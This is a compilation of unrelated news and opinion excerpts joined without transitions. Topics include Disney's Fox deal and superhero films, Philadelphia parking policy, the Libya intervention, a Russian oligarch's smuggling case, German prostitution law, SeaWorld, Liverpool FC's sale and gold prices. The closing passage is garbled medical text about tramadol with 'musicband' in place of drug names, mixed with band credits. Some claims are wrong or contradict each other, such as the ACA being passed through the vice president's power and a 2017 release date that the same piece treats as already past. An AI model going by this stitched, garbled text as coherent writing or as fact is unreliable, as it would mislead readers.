Since Fox essentially kicked off the modern superhero movie era with X-Men in 2000, the studio has made 10 X-Men movies (including Deadpool) and three Fantastic Four films – that’s 13 superhero movies in 18 years. That pace has been quickening; five of those films came in the last three years. And in 2017, Fox will become the first studio to put out three superhero films in a single year: The New Mutants, a Deadpool sequel, and X-Men: Dark Phoenix.
The most Marvel-based superhero films in a calendar year is four, which has happened four times: in 2017, 2016, 2014, and 2011.
Next year there will be seven.
Maybe seven Marvel films makes sense in the midst of an arms race between proud studios with separate creative visions, storylines, and corporate parents. But brought together under one roof, it’s not likely Disney/Marvel will want that much market saturation or production scale. Inevitably, redundancies will be found in the machinery. Jobs will be cut, facilities shuttered. No matter how hard evil capitalists try, you just can’t make the same amount of product with less manpower.
What’s more, as Avengers and X-Men and Spidey-verse characters begin to meet on the same battlefields, their appearances in said team-up movies will, in at least some cases, take the place of what would otherwise have been standalone feature films by separate studios. And that’s too bad, because clearly Fox was finally finding its footing with Deadpool and the First Class gang, feeling confident enough to flood Disney/Marvel’s zone – even without the Fantastic Four.
The upshot is, love ‘em or hate ‘em, superhero movies could be finally peaking, at least in terms of quantity, as soon as next year — at eight, including the DCEU’s Aquaman.
THIS COULD GET EXPENSIVE – FOR YOU
Disney/Lucasfilm is trying something this month that’s worked for Darth Vader before: They are altering the deal.
The studio is “asking” movie theaters for a 60 percent cut of domestic ticket sales, a significantly thicker slice than the traditional 50/50 split. They’re also asking for a four-week guarantee on the premium (Imax, etc.) screens, also a precedent-setting demand.
Uhhhm, what are the theaters supposed to do, not run Star Wars?
With compliance all but assured, Disney will have no problem getting similar concessions for Avengers: Infinity War and beyond, future Star Wars installments, and oh yes, all 29 sequels to Avatar. Where do you suppose those missing dollars might be made up? It’s not a stretch to suppose you may soon be asked to pay a few extra bucks for Disney’s biggest budget-busters.
So far “tiered” pricing is nonexistent in theatrical exhibition – you get upcharged for IMAX screens and 3D, yes, but for similar formats at the same city/day/time, you pay the same for Star Wars: The Last Jedi as you would for Lady Bird. Maybe not much longer.
With Disney scooping up essentially a full quarter of the blockbuster market, their leverage to demand these new splits grows stronger. It also takes a major rival off the board in Fox – a company that might otherwise have stood with its exhibition partner on the good ol’ 50/50.
Disney also helped put itself in this power position by taking its own stand – in favor of the theaters’ exclusive 90-day theatrical window. None of the other major studios has been as steadfastly against shrinking the traditional time between cinemas and home video; in fact, all the others have explored workarounds behind the exhibitors’ backs.
See? It really does pay to play nice with others.
NO MORE DISTINCT X-MEN
There’s something about those Marvel movies — not a flop among them — that’s just doggone appealing. Under Kevin Feige, Marvel Studios has created a world with vast tonal diversity, but just enough unity to bring them all to the same party.
Over at Fox, the X-Men universe wears a slightly different grain of cloth; slightly moodier, more melodramatic, and theatrical are its characters, a vaguely European-stage vibe that’s hard to put your finger on – but definitely isn’t the MCU.
Feige’s fiefdom will undoubtedly find perfect ways to integrate these styles, reconcile the timelines, retcon the whole damn thing in ways that awe us. But for a while there, wasn’t it nice to go to an X-Men movie knowing you were getting a different flavor from a different house?
THE FANTASTIC [COUGH-COUGH] FOUR
What if not even Disney/Marvel can make a Fantastic Four movie work?
LOLJK, of course they can. They have to.
Gulp.
THE DEADPOOL DILEMMA
Yes, there were those titles on the Touchstone banner – Ruthless People, Pretty Woman, Con Air and more – but never has a Disney-produced film been hit with an R. The Disney flag flies over all its Marvel outings, and Mouse House chair Bob Iger flatly told investors last year, after the success of Deadpool, that “We don’t have any plans to make R-rated Marvel movies.”
But now the Merc With the Mouth (and the drug jokes, foul language, and graphic sex scenes) is in the stable, and something must be done.
Disney could ostensibly release future Deadpool films — we’ll be on No. 3 by the time this deal goes through, with more all but assured — under a different banner, even 20th Century Fox, if it wanted to. But that would seem odd, since Marvel and Disney are otherwise so closely intertwined.
Could Deadpool be the first to break Disney’s fourth wall of decency and family-friendliness? That’s trading a lot of brand equity for a little bit of box-office money.
For fans, it’s certainly better than the alternative: A PG-13 Deadpool is no Deadpool at all.
THE COMING COMICS CATACLYSM
All comic book readers know that Marvel’s biggest films – Age of Ultron, Civil War, and soon Infinity War – are all loosely adapted from comic arcs that feature X-Men and Fantastic Four characters, often in prominent roles. One such classic clash that hasn’t been adapted yet: Avengers vs X-Men. That 12-issue run from 2012 set in motion events that reverberated through Ultron and Infinity War all the way to Secret Wars, and is any fan’s dream project for the unified MCU to tackle.
Make no mistake: The comics heavily inform the cinematic stories, no matter how many liberties the filmmakers take. And the comics are at crossroads.
Marvel’s publishing arm recently installed a new editor in C.B. Cebluski, just as it’s finishing a pivot to all-new versions of several core Avengers characters: Jane Foster as Thor, Sam Wilson as Captain America, Je-Yong Ha as the Incredible Hulk, and Kamala Khan as Ms. Marvel, for starters. The animation division is working on versions of these characters for TV, which could be read as Disney seeding them for future cinematic use.
But the publication side has been struggling of late. A successful Avengers/X-Men on-screen showdown could spark a snap-back to legacy characters, throwing all kinds of plans into upheaval and confusion. Whatever they intend to do suddenly needs a lot more ironing out.
All that could lead to delays, distraction, and diffusion. A bigger kitchen, yes, but it’s still more cooks.
Here’s some great news out of Center City Philadelphia: Housing is replacing parking.
The number of off-street parking spaces in downtown Philly and nearby neighborhoods declined 7 percent between 2000 and 2015, from about 50,000 to 46,400. As parking became less abundant, the appetite for it also waned: Parking occupancy rates have fallen almost 2 percent over the same period.
What’s happening in Philadelphia is evidence of the “virtuous cycle” that results from reducing dependence on cars. Making parking less convenient is leading to greater walkability.
It’s also the result of deliberate public policies — mainly tax incentives, with a dash of zoning — which Jonas Maciunas of the Philadelphia-based urban design consultancy JVM Studio described in a presentation at UConn earlier this month. Other cities scarred by excessive parking in central neighborhoods should take note. If, like Philadelphia, there’s demand for growth downtown, these four steps can channel it to create more walkable places.
1. Raising the parking tax
Philadelphia levies a surtax when people pay for off-street parking. Between 2007 and 2015, the city incrementally raised this tax from 15 percent to 22 percent, making parking more expensive for consumers.
2. Reducing parking minimums
When a parcel is developed in central Philadelphia, the zoning code makes it easier to build for walking, not driving. In 2012, the city eliminated parking minimums for commercial buildings in the center city. It also dramatically reduced residential parking requirements. For every 10 residences, the old rules required seven parking spaces, while the new rules require three.
3. Tax abatements for new construction
In 2000, Philadelphia enacted a tax abatement to attract development, which had been flowing mainly to the suburbs. The city granted a 10-year property tax exemption on improvements to residential and commercial properties. New or renovated buildings are tax-exempt, while the land itself is not.
Obviously, the abatement alone would not work without market demand. Nor would it be necessary if the market was already primed to build. But in Philadelphia’s case, it appears to have helped tip the scales, coinciding with a shift in development patterns, according to data from the Building Industry Association of Philadelphia:
4. Reassessing property values
In 2013, Philadelphia changed the way it assesses property values and updated all 579,383 properties on its tax rolls through the “Actual Value Initiative.” Some properties had not been reassessed since the 1980s, according to the Pew Charitable Trust.
The new assessment methodology places greater emphasis on the value of land in relation to structures. Last year, for instance, most properties — 85 percent — saw no change in total value, but 92 percent saw an increase in land value, reported Jon Geeting at Plan Philly. The 14 percent of properties where assessed value increased were concentrated in areas with hot real estate markets.
But as recent events have demonstrated, a compelling moral case does not equate to a coherent strategy. Indeed, it is charitable to call this strategy muddled. Initially committed to only to defensive operations to stop the advance of the Libyan military into cities like Benghazi, the Obama administration quickly began working with the rebels to coordinate air strikes to push back Gaddafi's forces. This turned the US, Britain and France into combatants in a civil war; no matter how much they claim only to be engaged in "kinetic military action" or some other Orwellian euphemism, the facts are plain. There are now CIA officers present in Libya to coordinate air strikes with rebels, and the US has flown over 1,600 sorties. While the American public may be fooled by the dissembling language, Gaddafi and his regime will have no illusions about who is bombing them.
Now, if only to underscore this point that this is a real war, the US and its allies are considering sending weapons to the Libyan rebels. Even contemplating this reflects an astonishing level of ignorance: the weapons will embolden the rebels and increase the chances of a bloody, long-running stalemate between the Gaddafi regime and the rebels. The coalition effort has gone from babysitting a civil war to sponsoring it, ignoring precedents such as Afghanistan that make clear that flooding a country with weapons leads only to higher death tolls and vicious blowback over the long run.
All of this could be forgivable if the Obama administration or its European partners had shown an iota of forethought about the potential consequences of their actions. Instead, they appear to have rushed into this operation without a workable Plan B. Their hope was that air strikes and the pressure of rebel advances would cause the regime to crumble. But Gaddafi's forces – still vastly more powerful than the rebels – have reversed their losses and a stalemate looks more likely. Further, even high-profile defections have not yet appeared to influence Gaddafi's (admittedly less than rational) thinking. Unless he is killed or otherwise overthrown, Gaddafi can continue to hold out, supported by a small number of loyalists and family members, in the hope that he can prolong the war to the point where the costs begin to exceed the potential benefits for US and its coalition partners. Given that he faces exile, indictment or death if he is overthrown, he has every incentive to do just that.
If that happens, the only option left would be to place US or allied ground troops to assist rebels in forcing Gaddafi out of power. But Secretary Gates has emphasised repeatedly that there will be no "boots on the ground". Having taken escalation through ground forces off the table, what then is the next step? How will additional pressure on Gaddafi be generated?
More to the point, what exactly is the strategy if the cumulative effect of the action so far is to produce the siege of Tripoli?
Instead of confronting these questions in a hardheaded way, the Obama administration has been obsessed with demonstrating the international legitimacy of the operation, pointing to a UN mandate and the support of the Arab League. But diplomatic blessings do not change the facts of war. Even the transfer of command authority from the US to Nato is mere window-dressing; it is the same set of countries bombing Libyan forces, no matter what acronym they hide behind. It is a peculiar form of bureaucratic myopia to worry more about who sits in what chair in Brussels than about the consequences of poor strategy.
Even more depressingly, the political debate in the US over the Libyan operation has become grotesque, as the same players who served as cheerleaders for the Iraq war have come out in force to celebrate this war as a step forward for human rights. The same liberal internationalists who chided President Bush for seeking regime change in Iraq have applauded President Obama for taking similar action in Libya, despite the fact that the operations in Libya are well beyond the measures to protect civilians authorised in the UN security council resolution.
Similarly, the neoconservatives have seen this operation as a vindication of President Bush's strategy, and a reaffirmation of the right of the US to remove the leader of a foreign country if it suits out interests to do so. Neither party is behaving responsibly here. The Republican presidential candidates are stumbling over themselves finding ways to denounce President Obama for doing precisely what they would have done if put in his position. Meanwhile, few on the Democratic side appear to be willing to push the president to explain his nonsensical position that Gaddafi must go, but that the objective of the US is not regime change.
Perhaps the most dispiriting aspect of this operation is that it proves that President Obama has been seduced by the power of the Oval Office into betraying many of the promises he represented as a candidate. The same thoughtful man who once argued that the US should never go to war without a congressional authorisation did not seek one, and waited ten days before even addressing the American public about his rationale for the operation. The same president who pledged in his national security strategy to take into account the limitation of our economic resources in his foreign policy decisions has led us into a war costing hundreds of millions of dollars. The same president once critical of a rush into a "dumb war" has let a compelling moral cause turn the US into a party in another war in the Middle East.
Neva shores
Oligarch Dmitry Mikhalchenko and his deputy Boris Korevsky are to be escorted to their native St. Petersburg. The former ‘governor 24’ will be able to see a patch of the rainy St. Petersburg sky and listen to the wash of the waves because the pretrial detention facility on Shpalernaya street is located by the side of the Neva River.
In the meantime, the investigation of the criminal case is steadily progressing. In the end of July, all the suspects have completed reviewing materials of the elite alcohol smuggling case instituted under Article 200.2 of the Criminal Code of the Russian Federation (Smuggling of Alcoholic Production by an organized group). The case is to be submitted soon to the Prosecutor’s Office for approval of the indictment. Because the suspects are remanded in custody, the state prosecution must approve it until August 17. Then the case will be delivered to the Kingisepp Town Court, assigned to a judge, and scheduled for hearing. Overall, the investigation had lasted slightly more than a year.
Our
notes
The Investigative Committee of the Russian Federation (ICR) has been investigating the case instituted under Article 200.2 of the Criminal Code of the Russian Federation (Smuggling of Alcoholic Production by an organized group) for illegal carrying of a large shipment of alcohol across the border and non-payment of mandatory customs dues since March 2016. At that time, billionaire Dmitry Mikhalchenko, Boris Korevsky, and their business partners Anatoly Kindzersky and Ilya Pichko (Contrail Logistic Northwest) have been arrested one by one. Sommelier Aleksei Mishenko has also been charged with smuggling. The case file consists of 118 volumes.
Today there are no doubts in a judgment of conviction for both defendants. The investigation has an indisputable argument – the testimony of Anatoly Kindzersky whose trial has been held in the prejudicial format. It is already known that in exchange for his assistance to the investigation, the remorseful businessman has got 5 years behind bars conditionally with a 4-year probation period. Such evidence is considered reliable by the court and can’t be disputed by the defense.
Anatoly Kindzersky
Surprisingly for the defense attorneys who were preparing to a fierce legal battle, the St. Petersburg oligarch hasn’t been charged under Article 210 of the Criminal Code of the Russian Federation (creation of a criminal community (criminal organization) and participation therein). The CrimeRussia already wrote that the trial must be very interesting because the suspects testifying against Mikhalchenko were not familiar with him personally and had dealt only with Korevsky who does not collaborate with the investigation and refuses to testify citing Article 51 of the Constitution of the Russian Federation.
It is unclear therefore what can these suspects tell to the court. In addition to the smuggling, Korevsky has also been charged with swindling. The investigators believe that he has fraudulently received $40 thousand for the release of a seized alcohol shipment. As we are aware, Korevsky denies any guilt.
Court gate
Some time ago, the experts had supposed that should Mikhalchenko be charged with creation of a criminal community, the defendants are to be tried by jurors. But this hasn’t happened – and the ‘smuggling’ Article of the Criminal Code is not subject to the jury court.
According to preliminary estimations, the hearings are to commence in mid-September at the earliest. No additional information is available in relation to this trial, and even the defense attorneys have to accept certain ‘information vacuum’.
Author’s opinion
A supreme political will has authorized the incarceration of the oligarch, but the semi-criminal business is now concerned not about his fate, but about the inevitable ‘succession issue’.
The CrimeRussia became aware that Kommersant journalists are currently preparing an official complaint about violations of their professional rights and actions of the judge and Chairman of the Kingisepp Town Court. According to the insider information, in order to attend the verdict pronouncement in the case against Anatoly Kindzersky, the journalists had to submit an application to the chairman asking to be present at the court sessions. Furthermore, in addition to the standard search performed by court marshals at the security gatehouse on the second floor, the newsmen had to undergo one more search. In response to their reasonable objections, the marshals said that they are going to search “as much as needed”. In the courtroom, judge Osipov had requested the Kommersant photographer to submit all the pictures taken during the hearing to him for approval. The servant of Themis failed, however, to provide legal grounds for the requirement to get approval for photos taken during the trial. Then the process has been closed following a motion brought by the state prosecutor. The newsmen consider such attitude a professional discrimination.
It can’t be ruled out that the unprecedented measures were caused by the recent events in the Moscow Regional Court where members of GTA Gang had attempted to escape. But taking that the case against Mikhalchenko is overseen by operatives of the Federal Security Service (FSB) of the Russian Federation, its informational transparency is highly unlikely. Neither the investigation nor FSB are interested in this.
‘Third echelon’
However, this is not the only trial Mikhalchenko has to stand. The investigation is currently considering the possibility to charge the billionaire with masterminding a major embezzlement of funds allocated for the construction of the Presidential residence. In addition, three more defendants have followed the example of Anatoly Kindzersky by making plea deals and testifying against ‘governor 24’: Stanislav Kyuner, Deputy General Director of Ateks Federal State Unitary Enterprise of the Federal Protection Service of the Russian Federation; Dmitry Torchinsky, ex-Director of Stroykomplekt company; and businessman Sergei Perevalov. Dmitry Sergeev, General Director of Baltstroy (a restoration company created by Mikhalchenko) is also actively testifying against the Head of Forum Holding – as The CrimeRussia wrote earlier, Sergeev is a suspect in another criminal case pertaining to embezzlements of funds allocated for restoration of cultural heritage.
Our
notes
By the way, a member of the ex-governor 24’s family possesses extensive farming acreage. He owns Agrofirma Rassvet (Dawn Farming Company) Closed Joint Stock Company controlling 1.5 thousand ha of agricultural lands. According to the investigation, a portion of the funds has been transferred to dummy companies in accordance with fake contracts and then embezzled. The total amount of damages exceeds 225 million rubles ($3.8 million). The price of the contract signed with Ateks Federal State Unitary Enterprise is 5.7 billion rubles ($95.2 million).
The ‘trump card’ of the investigation – Article 210 of the Criminal Code of the Russian Federation – is to be played in the ‘Ateks case’. And the upcoming trial in the Kingisepp Town Court is beneficial for the law enforcement structures. Neither the duration of this trial nor the sentence to the oligarch would affect the pending charges pertaining to the creation of a criminal community. As The CrimeRussia wrote earlier, ultimately the oligarch may share the fate of another St. Petersburg ‘governor’ – Vladimir Barsukov-Kumarin charged with four indictment counts and having no chances to get out of jail.
Dmitry Mikhalchenko may share the fate of another St. Petersburg ‘governor’
An old story with the murder of Roman Tsepov is currently discussed in a similar vein. Although the businessman was killed more than 10 years ago, this case may be easily revived, if necessary. After the strange death of Tsepov, Mikhalchenko has laid hands on many of his commercial structures and, in fact, succeeded him as an informal intermediary between the law enforcement structures and semi-criminal business. Mikhalchenko has also ‘inherited’ all connections of late Tsepov in the top echelons of power. After the death of Tsepov, Mikhalchenko was introduced to Evgeny Murov, then-Head of the Federal Protection Service of the Russian Federation.
The murder of Roman Tsepov is currently discussed in the context of the criminal case against Mikhalchenko
The changes are part of a comprehensive reform of the Prostitution Act, originally passed in 2001, which are set to be enacted early next year.
Uhl was confirming a report in the Frankfurter Allgemeine Zeitung. General punishment of johns was rejected, while "discernible forced prostitution" implies the conscious use of sexual services when, for example, force has clearly been used against the sex worker.
The coalition contract between the CDU, CSU and SPD states: "We will take action not only against traffickers but also against those who knowingly and willingly take advantage of the plight of victims of human trafficking and forced prostitution and abuse them with sexual acts."
Ban on Flat-rate Sex
A senior official in the Health Ministry, Annette Widmann-Mauz, who sat on the relevant working group for the CDU, told the Frankfurter Allgemeine Zeitung: "Anyone who knowingly and brutally exploits forced prostitutes will also have to expect a knock on the door from the police." In addition, Widmann-Mauz announced a ban on so-called "flat-rate sex" and said there would be a "licensing requirement for the brothel industry."
The formulation of the proposed reform was largely drawn up after negotiations in the coalition family working group more than three weeks ago. In the coalition agreement, the CDU, CSU and SPD agreed to a review of the Prostitution Act which was adopted in 2002 under a coalition government of the SPD and the environmentalist Green Party.
The purpose of the act, as argued at the time, was to improve the lot of prostitutes by bringing them out of illegality and putting power back into their hands. They were thus able to bring court action over unpaid wages and be included in health, pension and unemployment insurance schemes. Critics, however, claimed that the new rules mainly promoted forced prostitution and offered pimps protection from prosecution.
It was only at the end of October that politics and business figures called for a rethink under the aegis of noted feminist Alice Schwarzer. Some 90 prominent figures, including theologian and former bishop Margot Kässmann and musician Wolfgang Niedecken, signed an appeal against prostitution, which said that thanks to the law, Germany had become "Europe's hub for trafficking women and a paradise for sex tourists from neighboring countries." It had made prostitution socially acceptable and promoted "modern slavery."
Trump tweets, “I was saddened to see how bad the ratings were on the Emmys last night - the worst ever.”
The president’s Tuesday night tweet is a little off: The show was on Sunday, not Monday, and the ratings didn’t quite hit bottom, though they were close. The Nielsen company estimated that 11.4 million people watched, slightly more than last year’s lowest ever audience of 11.3 million.
Trump adds, “Smartest people of them all are the ‘DEPLORABLES.’” That’s a reference to a remark Hillary Clinton made during last year’s presidential campaign, when she said half of Trump supporters belong in a “basket of deplorables.”
Essentially, using a parliamentary trick that was designed to forestall budget gridlocks, the Democrats used the vice president’s power as President of the Senate to push the ACA through with a simple majority rather than the 60 normally required to prevent a filibuster.
Reid was warned — by the GOP’s Alabama Senator Richard Shelby — that the rule change could backfire:
“Democrats won’t be in power in perpetuity. This is a mistake — a big one for the long run. Maybe not for the short run. Short-term gains, but I think it changes the Senate tremendously in a bad way.”
Harry Reid’s Nuclear Option Changed The Rules But Will NOW Backfire Right in His Face. https://t.co/5t4TI6cxUZ#HarryReid #Moron pic.twitter.com/oz4E270Q2x — Silence is Consent (@silenceconsent) November 20, 2016
But Harry Reid, who championed the move back in 2010, may soon be regretting that decision.
BizPacReview reports:
Reid and his Democrat colleagues changed the rules so that all that was needed was a simple majority of 51 Senators, coincidentally the number of senators Republicans now have. That means that no matter how much huffing and puffing the Democrats do over President-elect Trump’s appointments after he takes office in January there isn’t anything they can do to stop them as long as the vote goes along party lines. Vice President-elect Mike Pence holds the tie-breaking vote.
As of now, Kristen Orthman, a spokeswoman for Senator Reid, says that he has no regrets:
“Sen. Reid has no regrets on invoking the nuclear option because of Republicans’ unprecedented obstruction. If Republicans want to go on record supporting radicals, that’s their decision and they will have to live with it.”
Bankers at Credit Suisse on Thursday warned that Styles had sparked a surge in negative sentiment towards SeaWorld, the controversial aquatic theme park, which is already suffering a collapse in profits.
“Does anybody like dolphins?” Styles asked his fans during a concert in San Diego, home to one of SeaWorld’s biggest parks, last month. Following a roar from the crowd, he told them: “Don’t go to SeaWorld.” Styles’s comments were captured by hundreds of people, including Game of Thrones’ Maisie Williams, and spread across social media.
The Credit Suisse analysts said it had looked like SeaWorld’s brand was finally beginning to turn a corner after the 2013 documentary Blackfish detailed claims that its treatment of orca whales provoked violent behaviour contributing to the deaths of three people. But they said Styles’s comments, together with revelations that a SeaWorld employee had infiltrated animal rights protest groups, had sparked a fresh wave of millions of negative comments about the firm to be posted online.
Graph from a Credit Suisse report on SeaWorld in August 2015. Photograph: Credit Suisse
In a note to clients, the Credit Suisse analysts said: “Brand impairment issues were magnified in July from allegations that a SeaWorld employee acted as an undercover member of activist group Peta, and after One Direction lead singer, Harry Styles, urged all of his fans to boycott SeaWorld during a concert in San Diego.”
They said this had led to a 400% increase in online comments about SeaWorld in July more than 2.5m, the vast majority of which were negative.
“We believe two events were the main contributors to the 400% spike in mentions and 13% increase in negative commentary month-over-month,” said the analysts said. “Namely, 1) allegations that a SeaWorld employee acted as an undercover member of activist group Peta and 2) One Direction lead singer, Harry Styles, urged all of his fans to boycott SeaWorld during a concert in San Diego.”
The analysts said they would be asking SeaWorld’s management how they intended to restore the company’s brand. They said they would be “looking for color around the recent setbacks following negative headlines and any nuggets around turnaround strategy”.
SeaWorld’s chief executive, Joel Manby, plans to announce in November a fresh strategy to turn the company around. SeaWorld has provided no details about what the plan will involve.
Earlier this month SeaWorld reported an 84% collapse in profits, and Manby was forced to admit that the company is still not doing enough to convince customers that it treats its dolphins and whales well enough.
Since the release of Blackfish the company has spent $10m on the marketing blitz to combat animal rights activist claims that, among other things, captive orcas die at a younger age than their wild counterparts.
Jackass star arrested for anti-SeaWorld stunt in Hollywood Read more
“We realize we have much work ahead of us to recover more of our attendance base, increase revenue and improve our performance as returning to historical performance levels will take time and investment,” Manby, who joined as CEO four months ago to help the company rehabilitate, said. “On the reputation side, early feedback on our campaign has been positive. However, we recognize that fully resolving our brand challenges in California will require sustained focus and commitment to correct misinformation.”
“We will continue to fight with the facts, because the facts are on our side,” he said on a conference call with reporters and analysts on Thursday.
A major portion of the inquiry centered on then-Prime Minister Tony Blair lying Britain into war, and therefore focuses on the pre-war plotting by Blair and then-US President George W. Bush.
That’s apparently the rub, with the US government insisting all of those conversations, and even just Tony Blair’s part, are adjacent to a US president and therefore the property of the US government, which has decided everything is classified.
The argument is that neither Chilcot nor anyone else in the British government has the authority to decide which of the documents can be published, so instead they’re just letting the Obama Administration dictate terms, and that means everything is secret.
According to reports from the inquiry, Blair and Bush began plotting the Iraq War just weeks after Bush’s inauguration in 2001, and at the time the British government decided it was “illegal,” though they eventually launched the war anyhow in 2003.
And I thought his Ultimate Spider-Man cameo was pushing it.
THE VERDICT
“I couldn’t get a word in edgewise,” said one city official, who disagreed with the speaker over a piece of legislation, “so I just hung up.” (Ms. Quinn called back to extend her harangue.)
Ms. Quinn, who often publicly pokes fun at her own brassiness, is fully aware of her aggressive tendencies, once bragging in an interview that she could “open up the bitch tap and let the water run.” In an e-mail exchange with advocates, Ms. Quinn once offered a wry self-description: “control freak! Lol.”
“When I end up yelling, it’s not really deliberate,” Ms. Quinn said last week. “It’s usually out of some moment of passion or frustration or real desire to get unstuck.”
In the interview — which the speaker briefly interrupted to down an Advil with a swig of Starbucks coffee — Ms. Quinn offered no apology for her behavior, saying, “I am who I am.” But she also said she was working on becoming kinder and more measured. “Sometimes I try to give myself a beat or two before I say what I want to say,” she said.
Still, she signaled that modulation was not her top priority.
“At this point in my life, I’m not going to spend a lot of time focusing on dissatisfaction with who I am, and I’m not going to spend a lot of time tempering my personality,” Ms. Quinn said. “Whatever job I have next, I’m going to be somebody who wants to get things done.”
“I want to be a better Chris Quinn,” she added. “I don’t want to be a different Chris Quinn.”
In a statement on its website, Liverpool said it had accepted a bid from New England Sports Ventures (NESV), which owns the US baseball team, in defiance of the club's American owners. Hicks and Gillett said this morning that the offer "dramatically undervalued the club" and that they would "resist any attempt" to force the sale through without their agreement.
Any deal will be subject to a protracted legal battle after Hicks and Gillett attempted to sack the chairman, Martin Broughton, and two other board members, who were prepared to accept the NESV offer.
The move led to an official statement from Liverpool accusing the American duo of opposing the offer because the bid would not give them enough profit for their shares.
This morning the club announced that the sale had gone through. "I am delighted that we have been able to successfully conclude the sale process which has been thorough and extensive," said Broughton.
"The board decided to accept NESV's proposal on the basis that it best met the criteria we set out originally for a suitable new owner. NESV's philosophy is all about winning and they have fully demonstrated that at Red Sox."
NESV is fronted by the multimillionaire John W Henry. It owns a portfolio of companies including the Boston Red Sox, New England Sports Network, Fenway Sports Group and Rousch Fenway Racing.
Henry controls John W Henry & Company, which describes itself as "an alternative asset manager that is one of the longest established managed futures advisers in the world".
The company was founded in 1982 and is located in Boca Raton, Florida. The Liverpool Echo described Henry as "one of the most popular and powerful men in baseball" who spent substantial amounts improving the Boston Red Sox stadium after taking over the team in 2002.
Broughton said the Liverpool board had met representatives from NESV in Boston, London and Liverpool over several weeks and was "immensely impressed with what they have achieved and with their vision for Liverpool Football Club".
"By removing the burden of acquisition debt this offer allows us to focus on investment in the team," he said. "I am only disappointed that the owners have tried everything to prevent the deal from happening and that we need to go through legal proceedings in order to complete the sale."
In its official statement last night Liverpool said Hicks and Gillett had attempted to block the bid by removing the managing director, Christian Purslow, and the commercial director, Ian Ayre, and appointing instead Hicks's son and a close ally.
The move would have given Hicks and Gillett a majority on the board and enabled them to reject the NESV offer.
"The board of directors have received two excellent financial offers to buy the club that would repay all its long-term debt," Liverpool said.
"A board meeting was called today to review these bids and approve a sale. Shortly prior to the meeting, the owners – Tom Hicks and George Gillett – sought to remove managing director Christian Purslow and commercial director Ian Ayre from the board, seeking to replace them with Mack Hicks and Lori Kay McCutcheon.
"This matter is now subject to legal review and a further announcement will be made in due course."
Yesterday’s AM fix was USD 1,316.50, EUR 976.05 and GBP 823.43 per ounce
Gold rose $1.40 or 0.11% yesterday, closing at $1,322.50/oz. Silver climbed $0.09 or 0.42%, closing at $21.65. At 3:13 EDT, Platinum inched up $7.89 or 0.6% to $1,423.49/oz, while palladium rose $6.75 or 0.9% to $718.75/oz.
Gold’s support is at $1,300/oz and a fall below that level could see gold test the next level of support at the $1,180/oz to $1,200/oz mark. Resistance is at $1,400/oz to $1,434/oz level and a breach of resistance should see gold quickly test the $1,500/oz level (see chart below).
Physical demand in Asia is down from the huge levels seen in recent months but remains robust heading into the peak wedding and festival season in India and China. Bargain hunting was seen again yesterday with prices close to $1,300/oz.
Gold in USD with Resistance and Support - 1 Year (Bloomberg)
Demand in China remains robust as seen in premiums for gold of $15 per ounce on the Shanghai Gold Exchange (SGE) overnight.
India's gold jewellery exports climbed in August from the previous month on improving U.S. demand before the Christmas season. Indian exporters face tight supplies of gold due to the central banks desperate attempts to tackle the country's rising trade deficit and prevent a currency crisis.
The Federal Reserve is “concerned about suspiciously heavy trading of gold futures” after its meeting last week, that may have been triggered by a premature release of market sensitive information according to Associated Press.
In a statement, the central bank said that news organizations that receive embargoed information from the Fed agree to withhold information until the time set for its release. The Fed statement said, “We will be conducting follow-up conversations with news organizations to ensure our procedures are completely understood.”
After the meeting, the Fed said it would hold off on slowing its $85 billion a month in purchases of U.S. government debt and mortgage debt. That surprised markets and led to a sharp rise in gold and silver prices.
Gold in USD - 10 Day (Bloomberg)
Two hours prior to the Federal Open Market Committee (FOMC) release, gold was trading below $1,300/oz but started to gradually tick higher prior to surging higher on heavy volume, minutes prior to the release of the FOMC statement.
FX markets, stock, bond and commodity markets did not see similar large moves.
Trading in financial markets is now dominated by automated computer systems, which make trades in tiny fractions of a second that can lead to millions of dollars in profit. Receiving the data early - even by a few milliseconds - can give an unfair advantage to favoured hedge funds or banks.
The security of sensitive, market-moving information is becoming an increasing concern due to strong suspicions of recent leaks.
Possible leaks of government data have already led the Labor Department to tighten its procedures for distributing information early to reporters, including the closely monitored monthly employment report.
The Labor Department also revoked early access for some media organizations.
The Fed also operates media lock-ups when its policymaking committee meets eight times a year, although the procedures are less strict than at the Labor and the Commerce Departments.
Fed officials work on an honor system. The Fed's policy statement is distributed 10 minutes early to reporters at their desks in the press room at Treasury. Internet and phone lines are not disconnected, and cellphones are not collected. The Fed has similar procedures for a separate lockup held at its headquarters.
Separately, precious metals whistleblower, Andrew Maguire in an interview with Max Keiser described his facilitation of statements given last year to the U.S. Commodity Futures Trading Commission (CFTC) by JP Morgan Chase employees confirming that their company manipulates the precious metal markets.
Maguire cites the sudden dumping of huge amounts of futures contracts at illiquid moments in the gold market as powerful evidence that the U.S. government is intervening to protect the dollar and suppress gold and silver.
Such action is by definition manipulative, Maguire says, and easily could be tracked down by market regulators if they wanted to do so. Maguire says CFTC Commissioner Bart Chilton has told him that if the commission fails to act in its five-year investigation of silver market manipulation by the end of this month, Chilton himself will say something about it.
Maguire cites GATA Secretary and Treasurer, Chris Powell, and his increasingly apt phrase “there are no markets anymore, just interventions.”
Maguire say that peculiar recent trading activity strongly suggests that certain banks were trading on inside information and knew there would be no taper, hence the surge in prices prior to the release the FOMC minutes after their meeting last week.
Marc Faber has again told CNBC how he favours gold and silver over many other assets. Recently he emphasised the importance of owning actual gold bullion, revealing how he “owns physical gold.”
Faber reiterated his favourable view on gold, saying the precious metal was relatively inexpensive.
"In the long-run, we have a huge bull-market in gold. Between 1999 and 2011, we peaked at $1,921 and went down to $1,180 and are now slightly above $1,300," he said.
"I think gold and especially gold equities are relatively inexpensive and the S&P is relatively high," he added.
1) Tramadol With Fear: Because of the possibility of convulsions at high doses for some users, musicband can be very dangerous. Musicband can cause a higher incidence of nausea, dizziness compared with otherstuff, which could deter abuse. Compared to other stuff, fewer persons choose to abuse musicband. Jamie Terry played rhodes here.
2) ITTTME: The cause of musicband is not really known, but there are several theories. In general, musicband develops when an imbalance occurs in the excitatory and inhibitory input to motor neurons caused by damage to the spinal cord and / or central nervous system. The damage causes a change in the balance of signals between the nervous system and the muscles, leading to increased excitability in the muscles. Cam Avery played drums here. I decided in the shower today that I was going to buy him a steak or something shmoofty for doing it. He likes nice stuff like that I think. He is a gentleman.
